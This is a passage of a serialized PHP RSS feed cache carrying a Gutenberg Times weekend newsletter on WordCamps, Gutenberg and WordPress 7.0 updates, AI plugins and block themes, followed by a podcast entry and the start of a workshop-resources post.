class="wp-block-paragraph">Huge Kudos to all the people who put together a phenomenal WordCamp. It&#8217;s a lot of work, and it takes dedication, perseverance and an incredible amount of details to bring it all together for ca 2300 people to have a good time. And I am excited for next year to revisit India for the first WordCamp India as a fourth flagship event.  </p>\n\n\n\n<p class="wp-block-paragraph">The angels behind the scenes already uploaded all 48 session videos to YouTube to the <a href="https://www.youtube.com/playlist?list=PL1pJFUVKQ7ER52veMr5wJiv7xiLRMpx1l"><strong>WordCamp Asia 2026 playlist </strong></a>on the WordPress channel. </p>\n\n\n\n<figure class="wp-block-image size-full"><img alt="" class="wp-image-45342" src="https://i0.wp.com/gutenbergtimes.com/wp-content/uploads/2026/04/WordCamp-Asia-Mumbai.png?w=652&#038;ssl=1" /></figure>\n\n\n\n<p class="wp-block-paragraph">And just in time for this Weekend Edition, <a href="https://europe.wordcamp.org/2026/schedule/"><strong>WordCamp Europe announced their schedule</strong></a>, with two tracks for talks and two for workshops. In a few weeks, on June 4-6, 2026, roughly 1500 people will descend on Krakow, Poland. Will you be there? </p>\n\n\n\n<p class="wp-block-paragraph">If you would rather not get across the pond, there are a few WordCamps on the calendar in the US, too: </p>\n\n\n\n<ul class="wp-block-list">\n<li><a href="https://santaclarita.wordcamp.org/2026/">WordCamp Santa Clarita</a>, May 15-16, 2026</li>\n\n\n\n<li><a href="https://us.wordcamp.org/2026/">WordCamp US</a><strong>, </strong>August 16-19, 2026</li>\n\n\n\n<li><a href="https://nyc.wordcamp.org/2026/">WordCamp NYC is in early planning stage</a><br /></li>\n</ul>\n\n\n\n<p class="wp-block-paragraph">A full <a href="https://central.wordcamp.org/schedule/">list of all planned WordCamps in various stages</a> is available at WordCamp.org </p>\n\n\n\n<p class="wp-block-paragraph">What else is in this Weekend Edition? AI in WordPress, block theme and plugin updates and more&#8230; </p>\n\n\n\n<p class="wp-block-paragraph">Have fun! </p>\n\n\n\n<p class="wp-block-paragraph">Yours, <img alt="💕" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f495.png" style="height: 1em;" /><br /><em>Birgit</em></p>\n\n\n\n\n\n<h2 class="wp-block-heading" id="0-word-press-release-information">Developing Gutenberg and WordPress</h2>\n\n\n\n<p class="wp-block-paragraph"><strong>Miguel Fonseca</strong> recaps <strong><a href="https://make.wordpress.org/core/2026/04/09/whats-new-in-gutenberg-22-9-8-april/">what&#8217;s new in Gutenberg 22.9</a>,</strong> a focused release across 131 merged PRs. The headline addition is background gradient support for the Group block, letting you layer gradients over background images for the first time. The command palette gains organized sections for recent commands and contextual suggestions — experimental, opt-in via Gutenberg Experiments. Real-time collaboration gets stability fixes: block notes now sync without a page refresh, and the stuck &#8220;Join&#8221; button in the post list is resolved. </p>\n\n\n\n<div class="wp-block-group has-light-background-background-color has-background"><div class="wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained">\n<p class="wp-block-paragraph"><img alt="🎙" class="wp-smiley" src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f399.png" style="height: 1em;" /> The latest episode is <a href="https://gutenbergtimes.com/podcast/gutenberg-changelog-130/">Gutenberg Changelog #130 – WordPress 7.0, Gutenberg 22.9 and 23.0, WordCamp Europe, Block Themes and More</a> with <strong>Tammie Lister</strong>, Chief Product Officer at Convesio </p>\n\n\n\n<figure class="wp-block-image size-full is-style-no-vertical-margin"><img alt="" class="wp-image-45452" height="185" src="https://i0.wp.com/gutenbergtimes.com/wp-content/uploads/2026/04/Screenshot-2026-04-25-at-15.01.45.png?resize=652%2C185&#038;ssl=1" width="652" /></figure>\n\n\n<div class="wp-block-newsletterglue-showhide ng-block" width="100%">\n<figure class="wp-block-embed is-type-rich is-provider-pocket-casts wp-block-embed-pocket-casts"><div class="wp-block-embed__wrapper">\n\n</div></figure>\n</div></div></div>\n\n\n\n<p class="wp-block-paragraph"><strong>Anne McCarthy</strong> introduces the <a href="https://make.wordpress.org/core/2026/04/08/tt7-team/"><strong>Twenty Twenty-Seven team</strong></a>: <a href="https://profiles.wordpress.org/iamarinoh/">Henrique Iamarino</a> leads design, with <a href="https://profiles.wordpress.org/onemaggie/">Maggie Cabrera</a> and <a href="https://profiles.wordpress.org/poena/">Carolina Nymark</a> as co-lead developers. The standout addition is <a href="https://profiles.wordpress.org/juanfra/">Juanfra Aldasoro</a> stepping into a newly created lead mentor role — a deliberate move to make theme contribution more structured and welcoming for newer contributors. Starting earlier than previous default theme cycles gives the team room to be more intentional: the goal isn&#8217;t just a great theme, but growing the number of people who feel capable of contributing to WordPress theme work at all.</p>\n\n\n\n<h2 class="wp-block-heading" id="wordpress-7-0">WordPress 7.0 </h2>\n\n\n\n<p class="wp-block-paragraph">The release date is still pending. An update is expected on or before April 22, 2026, next week. Stay tuned. </p>\n\n\n\n<p class="wp-block-paragraph"><strong>Benjamin Zekavica</strong>, previous Core team rep, offers a practical pre-flight checklist to <a href="https://www.unleash-wp.com/blog/prepare-plugins-sites-wordpress-7-0/"><strong>prepare your plugins and sites for WordPress 7.0</strong></a>: if your plugins still use metaboxes, real-time collaboration will silently break for your users — migration time is now. PHP 7.2 and 7.3 are gone, MySQL minimum jumps to 8.0, and API keys in the new Connectors screen sit unencrypted in <code>wp_options</code> until Trac #64789 lands, so use environment variables instead. The iframed editor isn&#8217;t enforced in 7.0 core yet, but test your v2 blocks in the Gutenberg plugin today.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph">Core AI team member <strong>Darin Kotter</strong> cuts through the noise in <a href="https://darinkotter.com/wp-7-0-ai/"><strong>WP 7.0 + AI</strong></a>: WordPress 7.0 ships AI infrastructure, not AI features. Your site won&#8217;t suddenly start firing off AI requests when you update. What lands in core are the provider-agnostic AI Client PHP API, the new Connectors API for managing external service authentication, and client-side enhancements to the Abilities API. Actual AI providers, features, and MCP integration all arrive via separate plugins — your choice, your setup.</p>\n\n\n\n<p class="wp-block-paragraph">Nevertheless, <strong>Depak Gupta</strong>,freelance developer from Mumbai and contributor on the Core AI team, published a plugin to <a href="https://wordpress.org/plugins/turn-off-ai-features/"><strong>Turn of all AI Features </strong></a> via the <strong>Settings > General</strong> page or via command line. </p>\n\n\n\n<h2 class="wp-block-heading" id="0-p">Plugins, Themes, and Tools for #nocode site builders and owners</h2>\n\n\n\n<p class="wp-block-paragraph"><strong>Jamie Marsland</strong> poses an interesting question in <a href="https://www.pootlepress.com/2026/03/the-future-of-wordpress-after-blocks/"><strong>The future of WordPress after blocks</strong></a>: what if the builder isn’t human? He suggests that blocks were made for people—easy to understand but difficult for AI to interpret. He envisions a future where meaning is more important than layout, editing becomes conversations, and WordPress transforms from a site builder to a content operating system. </p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>Shani Banerjee</strong> highlights the new features in <a href="https://developer.woocommerce.com/2026/04/15/woocommerce-10-7/"><strong>WooCommerce 10.7</strong></a>, mainly focusing on performance boosts: improvements on the high-performance order storage (HPOS) reduce the number of database queries by 51%, and using object cache significantly cuts down checkout query counts. There are also updated analytics export filters that accurately reflect currency for background jobs, a new beta PHP API for handling orders, fixes for the Cart and Checkout blocks, better contrast for accessibility, and increased security for order notes in the REST API and AJAX handlers. Banerjee has all the salient details for you. </p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph">Speaking of WooCommerce, <strong>Wes Theron</strong> walks you through the new course, <a href="https://wordpress.com/support/courses/build-your-store-with-woocommerce/"><strong>Build your store with WooCommerce</strong></a> on WordPress.com. It&#8217;s free and beginner-friendly.  You&#8217;ll learn everything you need to launch and manage an online store. In about an hour of bite-size video lessons, you&#8217;ll work through products, payments, shipping, taxes, and order management at your own pace, ending with a fully functional store and the confidence to run it day to day.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>Derek Hanson</strong>&#8216;s <strong><a href="https://derekhanson.blog/cover-parallax-v1-2-0/">Cover Block Parallax Style v1.2.0</a> </strong>is more bug-fix than feature release. The most visible fix: the editor and frontend were using different default speeds, so what you previewed wasn&#8217;t what visitors saw. Two mobile-handling bugs got squashed — the original global viewport check meant parallax would never initialize after resizing from mobile to desktop. The main new feature is a per-block &#8220;Disable on mobile&#8221; toggle, replacing the blunt all-or-nothing approach. Background oversizing also bumped from 130% to 140%, matching what production parallax libraries use.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>Elliott Richmond </strong>continues his WordPress.com series with <a href="https://www.youtube.com/watch?v=YvdVe0BVW8U"><strong>Design Your WordPress Homepage with Twenty Twenty-Five</strong></a>, switching to the core theme he contributed to and building a hero section, call to action, and quick links grid — properly, using blocks the way they were designed. In 12 minutes you&#8217;ll learn how Groups, Covers, Grids, Global Styles, and Patterns fit together, and why understanding what&#8217;s happening under the hood makes all the difference to your layouts.</p>\n\n\n\n<h2 class="wp-block-heading" id="2-word-press-6-0-1-and-6-1-scheduled">Theme Development for Full Site Editing and Blocks</h2>\n\n\n\n<p class="wp-block-paragraph">At WordCamp Asia 2026 in Mumbai, I ran a block theme development workshop  and whether you were there or couldn&#8217;t get a seat, the <a href="https://gutenbergtimes.com/building-a-block-theme-from-scratch-workshop-resources/"><strong>f</strong></a><strong><a href="https://gutenbergtimes.com/building-a-block-theme-from-scratch-workshop-resources/">ull workshop bundle is now on GitHub</a> </strong>— everything you need to build <em>Concrete &amp; Light</em>, a portfolio theme, entirely through the Site Editor. Three guided exercises walk you through styling headers and footers, setting global element styles, and creating dynamic page and archive templates. You can be up and running in minutes via WordPress Studio, the Studio CLI, or directly in WordPress Playground.</p>\n\n\n\n<figure class="wp-block-image size-large"><a href="https://gutenbergtimes.com/building-a-block-theme-from-scratch-workshop-resources/"><img alt="Workshop reference theme screenshot Concrete and Light" class="wp-image-45230" height="489" src="https://i0.wp.com/gutenbergtimes.com/wp-content/uploads/2026/04/screenshot.png?resize=652%2C489&#038;ssl=1" width="652" /></a></figure>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>Jonathan Bossenger</strong> documents <strong><a href="https://jonathanbossenger.com/2026/04/how-i-built-deployed-custom-wordpress-block-theme-claude-ai/">how he built a custom WordPress block theme using Claude and MCP tools</a> </strong>— no CLI, no code editor, just conversation. WordPress.com MCP tools let Claude audit his live site directly; WordPress Studio MCP tools wrote the theme files into his local environment. The key lesson: AI got him 80% there fast, but converting Claude&#8217;s raw HTML output into proper editable block markup still required a human in the loop — and Claude Code to help get it done.</p>\n\n\n\n<figure class="wp-block-image size-full"><a href="https://jonathanbossenger.com/2026/04/how-i-built-deployed-custom-wordpress-block-theme-claude-ai/"><img alt="Home page hero section by Jonathan Bossenger" class="wp-image-45280" height="351" src="https://i0.wp.com/gutenbergtimes.com/wp-content/uploads/2026/04/Screenshot-2026-04-16-at-17.09.07.png?resize=652%2C351&#038;ssl=1" width="652" /></a></figure>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>Yann Collet</strong>, founder of Twentig, has launched <a href="https://twentig.com/twentig-one/"><strong>Twentig One</strong></a>, a new free WordPress block theme built for the site editor. Lightweight and flexible, it offers templates, post formats, color presets, font pairings, and fluid spacing out of the box. Four starter sites — Business, Portfolio, Blog, and Personal — get you up and running quickly, with more on the way.</p>\n\n\n<div class="ng-block-628431bd284ab3a2 wp-block-newsletterglue-container ng-block" style="color: #666666;" width="100%"><div><div><div class="ng-block-vs ng-block-vs-1" colspan="3" height="0" style="height: 0px;"></div></div><div><div class="ng-block-hs ng-block-hs-1" height="0" style="width: 0px;"></div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 20px; padding-bottom: 20px; padding-left: 0px; padding-right: 0px; text-align: none; color: #666666; background-color: #fdfcea; border-radius: 12px;"><div class="ng-block-31cfd75eac9564f8 wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p><strong> <a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/" rel="noreferrer noopener" target="_blank">&#8220;Keeping up with Gutenberg &#8211; Index 2025&#8221;</a> </strong><br />A chronological list of the WordPress Make Blog posts from various teams involved in Gutenberg development: Design, Theme Review Team, Core Editor, Core JS, Core CSS, Test, and Meta team from Jan. 2024 on. Updated by yours truly. </p></div></div></div></div>\n\n<div class="ng-block-92f053f5d6cf9724 wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p>The previous years are also available: <br /><strong><strong><a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/keeping-up-with-gutenberg-index-2020/">2020</a> | <a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/keeping-up-with-gutenberg-index-2021/">2021</a></strong> | <strong><a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/keeping-up-with-gutenberg-index-2022/">2022</a></strong></strong> | <strong><a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/gutenberg-index-2023">2023</a></strong> | <a href="https://make.wordpress.org/core/handbook/references/keeping-up-with-gutenberg-index/gutenberg-index-2024/"><strong>2024</strong></a></p></div></div></div></div></div><div class="ng-block-hs ng-block-hs-2" height="0" style="width: 0px;"></div></div><div><div class="ng-block-vs ng-block-vs-2" colspan="3" height="0" style="height: 0px;"></div></div></div></div>\n\n\n<h2 class="wp-block-heading" id="3-building-themes-for-fse-and-word-press">Building Blocks and Tools for the Block editor.</h2>\n\n\n\n<p class="wp-block-paragraph"><strong>Eric Karkovack </strong>walks you through <strong><a href="https://speckyboy.com/how-to-use-remote-data-blocks-to-display-google-sheets-data-in-wordpress/">using the Remote Data Blocks plugin to pull Google Sheets data into WordPress</a>,</strong> step by step. The plugin connects to Airtable, Shopify, and Google Sheets out of the box, with HTTP support for other sources. Most of the setup time goes into Google Cloud Platform — creating a project, enabling APIs, and generating JSON credentials. Once connected, your spreadsheet data renders via a block and a customizable pattern directly in the editor. </p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>Varun Dubey</strong> shares a hard-won lesson in <strong><a href="https://vapvarun.com/claude-md-wordpress-developers-layered-knowledge/">CLAUDE.md for WordPress Developers: Why Layered Knowledge Beats a Bigger File</a>:</strong> when your instructions file hits 400 lines, more rules aren&#8217;t the fix. His solution is four distinct layers — rules in CLAUDE.md, facts in memory, procedures in skills, and capabilities in MCP servers — each loaded only when relevant. For WordPress developers already running Claude Code and feeling the weight of their own instructions pile up, this is the cleanup framework you didn&#8217;t know you needed.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<h2 class="wp-block-heading" id="ai-and-wordpress">AI and WordPress</h2>\n\n\n\n<p class="wp-block-paragraph"><strong>Jeffrey Paul</strong> announces two quick releases of the WordPress AI plugin. <a href="https://make.wordpress.org/ai/2026/03/24/whats-new-in-ai-0-6-0/"><strong>Version 0.6.0</strong></a> marked a shift toward connected publishing workflows — image editing and refinement landed as a full Feature, and the plugin was renamed from &#8220;AI Experiments&#8221; to simply &#8220;AI.&#8221; Now <strong><a href="https://make.wordpress.org/ai/2026/04/10/whats-new-in-ai-0-7-0/">0.7.0 is out</a>,</strong> expanding editorial workflows further: Content Classification suggests categories and tags from your post content, Meta Description Generation handles SEO descriptions without leaving the editor, and bulk alt text generation lets you process your entire Media Library at once. Your next stop is 0.8.0, where Content Provenance tracking via C2PA and a &#8220;Refine from Notes&#8221; experiment are already taking shape.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>James LePage</strong>, co-team rep of WordPress Core AI and head of AI at Automattic, catalogs <a href="https://j.cv/ai-across-the-wp-ecosystem/"><strong>what the community is building on top of the WordPress AI infrastructure</strong></a> ahead of 7.0. The volume is the point: ten community AI provider plugins, 70+ plugins adopting the Abilities API covering hundreds of millions of installs, dozens of MCP server implementations, fourteen agent skills, and tutorials in Japanese, German, Spanish, Portuguese, and Russian. WooCommerce, ACF, Ninja Forms, GravityKit, Yoast, and WP Engine are all in. None of it was dictated from the top — the community decided the building blocks were worth using. The post has about 180+ distinct resources and links. And LePage himself admits it&#8217;s not exhaustive.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>JuanMa Garrido</strong> shares hard-won lessons in <a href="https://juanma.codes/2026/03/29/using-local-ai-models-with-wordpress-7-0-what-i-learned-connecting-ollama/"><strong>Using local AI models with WordPress 7.0: what I learned connecting Ollama</strong></a> — the kind the official docs skip. The biggest gotcha: call <code>wp_ai_client_prompt()</code> at <code>init</code> priority 25 or later, not the default 10, or authentication won&#8217;t be wired up yet and you&#8217;ll get a silent &#8220;No models found.&#8221; He also covers how to allowlist localhost requests (blocked by WordPress&#8217;s SSRF protection by default), register fallback auth for keyless local providers, and use <code>is_supported_for_text_generation()</code> as a pre-flight check before committing to an API call.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="wp-block-paragraph"><strong>Gary Pendergast</strong> brings his AI writing experiment directly into the block editor with <strong><a href="https://pento.net/2026/04/10/claudaborative-editing-0-4-twice-the-fun/">Claudaborative Editing 0.4</a>. </strong>The new WordPress plugin — available on GitHub now, pending directory approval — adds a sidebar menu with Compose, Proofread, Review, Edit, and Translate modes, plus a pre-publish panel that suggests tags, categories, and excerpts. You control how much the LLM does: it can fix things outright or just leave notes for you to act on. Gary uses it mainly for planning — to organize his thoughts before writing, not to write for him.</p>\n\n\n\n<h2 class="wp-block-heading" id="what-s-new-in-playground">What&#8217;s new in Playground?</h2>\n\n\n\n<p class="wp-block-paragraph"><strong>Fellyph Cintra</strong> announces a new blueprint agent skill that <strong><a href="https://make.wordpress.org/playground/2026/04/02/teach-your-coding-agent-to-write-wordpress-playground-blueprints/">teaches your coding agent to write valid WordPress Playground Blueprints</a> </strong>from natural language prompts. Install it with one <code>npx</code> command and your agent gains a structured reference covering every Blueprint property, resource type, step sequence, and common pitfalls — so it stops guessing property names or forgetting <code>require \'/wordpress/wp-load.php\'</code> in <code>runPHP</code> steps. It works with Claude Code, Gemini CLI, Cursor, Copilot, and Codex.</p>\n\n\n<div class="ng-block-26c9ffd6efdd257a wp-block-newsletterglue-container ng-block" style="color: #666666;" width="100%"><div><div><div class="ng-block-vs ng-block-vs-1" colspan="3" height="0" style="height: 0px;"></div></div><div><div class="ng-block-hs ng-block-hs-1" height="0" style="width: 0px;"></div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 20px; padding-bottom: 20px; padding-left: 0px; padding-right: 0px; text-align: none; color: #666666; background-color: #f8f8f8; border-radius: 8px;"><div class="ng-block-9c7a224780d9cd8d wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p><strong><a href="https://gutenbergtimes.com/need-a-zip-from-master/">Need a plugin .zip from Gutenberg&#8217;s master branch?</a></strong><br />Gutenberg Times provides daily build for testing and review.</p></div></div></div></div>\n\n<div class="ng-block-ce67beb70f6a5276 wp-block-newsletterglue-image ng-block size-full is-resized" width="100%"><div><div><div align="center" class="ng-block-td" style="padding-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px;"><a href="https://playground.wordpress.net/?blueprint-url=https://gutenbergtimes.com/wp-content/uploads/2020/11/playnightly.json"><img alt="" class="wp-image-42874 ng-image" height="45" src="https://i0.wp.com/gutenbergtimes.com/wp-content/uploads/2024/02/Screenshot-2025-11-15-at-12.06.44.png?resize=196%2C45&#038;ssl=1" style="border-style: none; border-color: transparent;" width="196" /></a></div></div></div></div>\n\n<div class="ng-block-f74f29ed3638b33c wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 16px; font-family: Helvetica; line-height: 1.6; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p>Now also available via <a href="https://playground.wordpress.net/?blueprint-url=https://gutenbergtimes.com/wp-content/uploads/2020/11/playnightly.json">WordPress Playground</a>. There is no need for a test site locally or on a server. Have you been using it? <a href="mailto:pauli@gutenbergtimes.com">Email me </a>with your experience.</p></div></div></div></div></div><div class="ng-block-hs ng-block-hs-2" height="0" style="width: 0px;"></div></div><div><div class="ng-block-vs ng-block-vs-2" colspan="3" height="0" style="height: 0px;"></div></div></div></div>\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />\n\n\n\n<p class="has-text-align-center has-small-font-size wp-block-paragraph"><em>Questions? Suggestions? Ideas? </em><br /><em>Don&#8217;t hesitate to send <a href="mailto:pauli@gutenbergtimes.com">them via email</a> or</em><br /><em>Send me a message on WordPress Slack or Twitter @bph</em>.</p>\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity" />\n\n\n\n<p class="has-text-align-center has-small-font-size wp-block-paragraph">For questions to be answered on the <a href="http://gutenbergtimes.com/podcast">Gutenberg Changelog</a>, <br />send them to <a href="mailto:changelog@gutenbergtimes.com">changelog@gutenbergtimes.com</a></p>\n\n\n<div class="ng-block-759259a39e0f7b90 wp-block-newsletterglue-separator ng-block" style="color: #666666;" width="100%"><div><div><div align="center" class="ng-block-td" style="padding-top: 20px; padding-bottom: 20px; padding-left: 20px; padding-right: 20px; color: #666666;"><hr style="background-color: transparent; color: transparent; margin: 0; border: 0; border-top: 1px solid #666666; width: 560px; height: 0;" /></div></div></div></div>\n\n<div class="wp-block-newsletterglue-showhide ng-block" width="100%"><div class="ng-block-a1131069a7724fcd wp-block-newsletterglue-text ng-block" style="color: #666666;" width="100%"><div><div><div align="none" class="ng-block-td" style="font-size: 14px; font-family: Helvetica; line-height: 0.2; font-weight: normal; padding-top: 8px; padding-bottom: 10px; padding-left: 20px; padding-right: 20px; text-align: none; color: #666666;"><p><strong>Featured Image: </strong></p></div></div></div></div></div>\n\n\n\n\n<hr class="wp-block-separator has-alpha-channel-opacity is-style-wide" />";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Sat, 18 Apr 2026 01:55:00 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:18:"Birgit Pauli-Haack";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:38;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:100:"Open Channels FM: Podcasting 2.0: The Open Source Movement Reshaping How We Create and Consume Audio";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:34:"https://openchannels.fm/?p=2552870";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:106:"https://openchannels.fm/podcasting-2-0-the-open-source-movement-reshaping-how-we-create-and-consume-audio/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:157:"This episode explores Podcasting 2.0, highlighting community-driven enhancements to RSS, the balance of distribution platforms, and evolving podcast formats.";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Thu, 16 Apr 2026 09:34:05 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:8:"Bob Dunn";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:39;a:6:{s:4:"data";s:21:"\n	\n	\n	\n	\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:75:"Gutenberg Times: Building a block theme from scratch – Workshop resources";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:35:"https://gutenbergtimes.com/?p=45222";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:82:"https://gutenbergtimes.com/building-a-block-theme-from-scratch-workshop-resources/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:11347:"<p class="wp-block-paragraph">It was great fun to conduct a Workshop at WordCamp Asia contributor day. Roughly 100 students were in the class and it was a great interactive session. I also know that there were quite a few of you who didn&#8217;t get to join us because there wasn&#8217;t enough room. </p>\n\n\n\n<div class="wp-block-group has-light-background-background-color has-background"><div class="wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained">\n<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">\n<p class="has-small-font-size wp-block-paragraph">Birgit Pauli-Haack workshop on the block editor and full-site editing was a highlight of the entire event. Her depth of knowledge and infectious enthusiasm for the future of WordPress left me inspired and ready to dive deeper. &#8211; <a href="https://www.linkedin.com/in/web-developer-kinjal-dwivedi?miniProfileUrn=urn%3Ali%3Afsd_profile%3AACoAACgywxYBuG3MU5Yxf0kyyfzjDhx6yfZufKU">Kinjal Dwivedi</a> </p>\n</blockquote>\n\n\n\n<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">\n<p class="has-small-font-size wp-block-paragraph">Special thanks to Birgit Pauli-Haack for the brilliant session on building block themes from scratch. &#8211; <a href="https://www.linkedin.com/in/nikul-valani/">Nikul Valani</a></p>\n</blockquote>\n\n\n\n<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">\n<p class="has-small-font-size wp-block-paragraph">Birgit Pauli-Haack&#8217;s Block Themes workshop was equally sharp, demystifying modern theme architecture in ways that clicked instantly.  <a href="https://www.linkedin.com/in/manisha-makhija-b3a275b7/">Manisha Makhija</a></p>\n</blockquote>\n\n\n\n<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">\n<p class="has-small-font-size wp-block-paragraph"> Building a Block Theme from Scratch by Birgit Pauli-Haack<br />– a great hands-on look at how Full Site Editing is shaping modern WordPress &#8211; <a href="https://www.linkedin.com/in/fathima-begum89/">Fathima Begum</a></p>\n</blockquote>\n\n\n\n<p class="wp-block-paragraph"></p>\n</div></div>\n\n\n\n<p class="wp-block-paragraph">If you attended the <strong>Block Theme Development</strong> workshop at WordCamp Asia 2026 in Mumbai and want to revisit the exercises, or if you couldn&#8217;t make it but want to work through it on your own, the complete <a href="https://github.com/bph/workshop">workshop bundle is available on GitHub</a>. Everything you need to follow along is included: </p>\n\n\n\n<ul class="wp-block-list">\n<li>the reference theme, </li>\n\n\n\n<li>demo content with media, </li>\n\n\n\n<li>step-by-step instructions to start your theme, and </li>\n\n\n\n<li>a blueprint to set up a local site with WordPress Studio or with WordPress Playground. </li>\n</ul>\n\n\n\n<p class="wp-block-paragraph">You can get started within minutes.</p>\n\n\n\n<p class="wp-block-paragraph">If you have used the Site Editor to customize a theme but have not yet built one from scratch, this workshop is a great next step. The exercises stay entirely within the visual editor. By the end, you will have a working portfolio theme and a solid understanding of how template parts, patterns, global styles, and custom templates fit together. Using the <a href="https://wordpress.org/plugins/create-block-theme/">Create Block theme plugin</a>, you can save all your changes in the new theme files, export it and use it on other websites. 